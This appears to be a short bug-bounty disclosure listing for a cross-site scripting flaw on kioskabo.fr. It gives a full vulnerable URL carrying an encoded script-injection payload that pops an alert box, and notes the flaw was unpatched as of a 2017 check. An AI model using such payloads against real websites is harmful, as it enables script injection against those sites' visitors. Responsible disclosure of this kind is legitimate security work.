kioskabo.fr XSS vulnerability

Vulnerable URL: http://www.kioskabo.fr/le-nouvel-observateur/achat-au-numero.html?dir=descr=%22%3E%3C/script%3E%3Ch1%3Eaa%3Cscript%3Ealert%27OPENBUGBOUNTY%27%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability...